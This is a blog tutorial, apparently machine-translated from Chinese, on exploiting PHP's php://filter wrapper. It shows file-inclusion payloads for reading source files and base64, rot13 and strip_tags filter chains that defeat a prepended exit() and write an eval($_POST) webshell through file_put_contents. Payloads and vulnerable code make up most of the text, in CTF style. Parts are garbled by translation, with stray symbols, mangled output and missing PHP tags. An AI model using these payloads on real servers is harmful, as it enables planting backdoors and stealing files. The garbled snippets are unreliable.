Code前端首页关于Code前端联系我们

易于使用和高级编程 PHP 伪协议过滤器协议

terry 2年前 (2023-09-25) 阅读数 51 #后端开发

php://filter 是一个元包装器,设计用于在打开数据流时过滤应用程序。这对于一体化文件函数(例如 readfile()、file() 和 file_get_contents())非常有用,在这些函数中,在读取流内容之前没有应用其他过滤器的选项。

resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。read=<读链的筛选列表>         该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

首先列出文件中包含的最简单的示例代码:


$file = $_GET["file"];include($file);
?>

同目录下有一个文件:

$flag = "flag{Lxxx}";

如果要读取该文件,可以使用过滤器 伪协议及参数如下:

?file=php://filter//resource=

这样就可以读取文件的加密内容 base64

PD9waHANCiRmbGFnID0gImZsYWd7THh4eH0iOw0K

对于协议 有一个过滤器 不只这种写法:

?file=php://filter/read=/resource=#这一种是指定读链的筛选列表

除了使用过滤器之外,还可以使用其他过滤器,比如编码类型字符,payload如下:

?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=

得到结果:

?<hp< span=""></hp<>p$lfga= " lfgaL{xx}x;"

解码一下,你也可以得到原文内容

$str = "lfga= \" lfgaL{xx}x;\"";echo iconv('UCS-2BE', 'UCS-2LE', $str);?>

得到结果:

flag = "flag{Lxxx}";

其他相关PHP支持官方字符编码文档如下:PHP: Supported Character Encodings – Manually过滤器协议的高级使用

使用pseudofilter -绕过死亡死亡和退出死亡的协议

假设我们有以下代码:

$content = $_POST['content'];file_put_contents($_GET['filename'], "".$content);

这几行代码允许我们写入文件,但是当我们写入文件时,命令exit添加在我们编写的字符串之前。这就导致即使我们给木马写了一个句子,它仍然无法执行该句子。

在分析这几行代码时,我们总共需要传递两个参数,一个是POST请求的content,另一个是GET文件名的filename

。文件名变量可以使用伪协议 php://filter 进行控制。上面提到,最常见的方法是使用 base64 方法,将 的内容进行解码并传输。对木马的一句话:

?filename=php://filter/convert.base64-decode/resource=POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

现在我们打开文件:

PHP伪协议filter协议的简单利用和进阶编程

我们可以发现里面有很多乱码。原因是不仅我们加密的木马句子被base64解码了,之前的死亡出口也被解码了。

我们仔细分析一下死亡退出代码:

base64编码只包含64个可打印字符,而当PHP解码base64并遇到不在其中的字符时,它会选择跳过将有效字符重新组装成一个解码时的字符串。

例如:

$str = "THh4eA==";echo base64_decode($str);?>

得到结果:Lxxx

如果我们在变量 str 中添加一些 不可见字符 ♸ ( \x00 ,? ) 结果是still: Lxxx

因此,对于死亡退出的代码,等字符以及空格不符合base64解码的范围。最终只有phpexit7个字符满足解码要求。 Base64解码的时候是一组4个字节,所以少了一个,所以我们手动添加了这个。

负载传递如下:

?filename=php://filter/convert.base64-decode/resource=POSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

内容第一个字符a是我们添加的❙我们当前跟踪的内容是,❀可以看到这句话木马编写成功。

rot13 编码绕过:

除了使用base64 编码绕过之外,我们还可以使用rot13编码绕过。与base64相比编码, rot13更方便绕过死亡终止,因为不需要考虑之前添加的内容是否可以用♸‼️❙‼️‼️来解码,并且不需要计算可以解码的字符数base64

同样是上面的示例代码:

$content = $_POST['content'];file_put_contents($_GET['filename'], "".$content);

接收负载:

?filename=php://filter/string.rot13/resource=POSTDATA: content=

打开文件:

PHP伪协议filter协议的简单利用和进阶编程

可以看到一句话木马也已经写入成功。

虽然rot13比较方便,但还是有一个缺点,就是当服务器开启短标签解析时,即使写了一句木马,PHP也不会解析。

跳过多个过滤器:

仔细看死亡退出代码:

可以看到死亡退出代码其实是一个XML标签,所以我们可以使用strip_tags函数去掉XML标签

另外,过滤日志允许我们使用不同的过滤器,所以我们还是重点关注上面的代码示例:

$content = $_POST['content'];file_put_contents($_GET['filename'], "".$content);

传递payload如下:

?filename=php://filter/string.strip_tags|convert.base64-decode/resource=POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

查看

PHP伪协议filter协议的简单利用和进阶编程

参见文档中的木马句子Clean没有任何杂质?

版权声明

本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

热门